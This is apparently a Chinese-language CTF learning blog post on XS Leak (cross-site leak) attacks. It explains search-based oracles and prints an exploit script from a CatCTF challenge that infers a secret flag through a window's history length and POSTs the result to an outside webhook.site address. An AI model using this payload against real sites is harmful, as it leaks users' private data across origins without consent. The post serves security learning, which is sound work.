XS泄露漏洞学习
Drunkbaby Lv6

XS Leak 漏洞学习

XS Leak 漏洞学习

0x01 前言

之前在做 HTB 题目时,遇到了这个漏洞,顺便学习一下。题目链接:Hack The Box :: Challenges

0x02 什么是 XS Leak

XS Leak,最早被叫做 XS Search,因为要和 XSS(跨站脚本攻击) 区分开,于是取名为 XS Leak,也就是 XS 泄露;XS 泄露最主要能够获取信息,算是信息泄露的一种攻击。

  • “ 所以说了这么多,你还是没说咋个样子算是 XS Leak。”
  • 好 ~ 莫急,且听我娓娓道来

XS Leak 的攻击方式主要是通过检索数据库信息实现的,简单来说,很多搜索界面,SQL 语句处会存在 XS Leak。

举个栗子
我们在搜索界面搜索 “Alice”,若返回的是 “404”,则说明 “Alice” 不在数据库中,然后进行爆破,最后能够找到存在的数据 “admin”,而它的状态码是 “200”;

  • 而最早的 XS Leak 是

对于攻击者来说,就是信息收集的一部分。

  • :“ 就这,有啥用嘛。”
  • 你也许觉得这没什么用处,但是如果用来检索密码或者一些商业来往邮件呢?
  • 好吧,这听着好像是没有用,可是随着技术不断更新,XS Leak 的攻击方式不断改进。

0x03 XS Leak 的利用

  • 本来这篇文章几乎对于我来说已经很难写下去了,可是最近 CatCTF 当中,在测题的过程中偶然发现了 XSLeak 的真正用处,它并非是一个“鸡肋”

在开始说利用之前,需要明确的是 XSLeak 并非是一种漏洞,而是一种作辅助的攻击手法。

在这道 CatCTF 的题目 pastebin 当中,听 LemonPerfect 师傅说有部分是参考原题的,是一个 XSS 打 XSLeak 的题目,挺有意思。

先放 exp

1
2
3
4
5
6
7
8
9
10
11
12
<script>
let text = new URLSearchParams(location.search).get('text')
let w = window.open('http://localhost:5000/find?text=' + text)
setTimeout(() => {
w.location = 'about:blank'
setTimeout(() => {
console.log(w.history.length)
const webhook = 'https://webhook.site/c171b240-3c3f-4121-91f3-a4f3a6987e35'
fetch(webhook, {method:'POST', body:w.history.length})
}, 1000)
}, 2000)
</script>

webhook 是一个网站,地址是 https://webhook.site
可以用来拦截请求。

而那道题目当中,admin will visit your site soon,这也就构成了一个 xss,所以我们请求可以这么写

1
http://vps:port/exp.html?text=catctf{xxx

如果正确,回显2,错误回显3,完全正确回显1

0x04 小结

小结一下,该怎么说呢?XSLeak 更像是一种思想&攻击的辅助手段,而并非是一种漏洞,所以作为 HTB 的那一道题目,只是介绍了这种攻击辅助方式,非常有趣,能够相当拓宽攻击者的攻击思路。

 评论